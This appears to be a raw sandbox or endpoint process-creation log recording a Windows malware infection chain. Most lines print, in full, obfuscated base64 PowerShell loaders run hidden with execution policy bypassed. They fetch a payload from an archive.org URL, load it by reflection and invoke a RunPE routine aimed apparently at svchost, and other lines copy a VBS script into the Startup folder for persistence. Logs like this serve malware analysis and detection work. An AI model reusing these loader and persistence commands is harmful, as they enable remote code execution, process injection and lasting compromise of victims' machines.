Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\32\hnvc.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
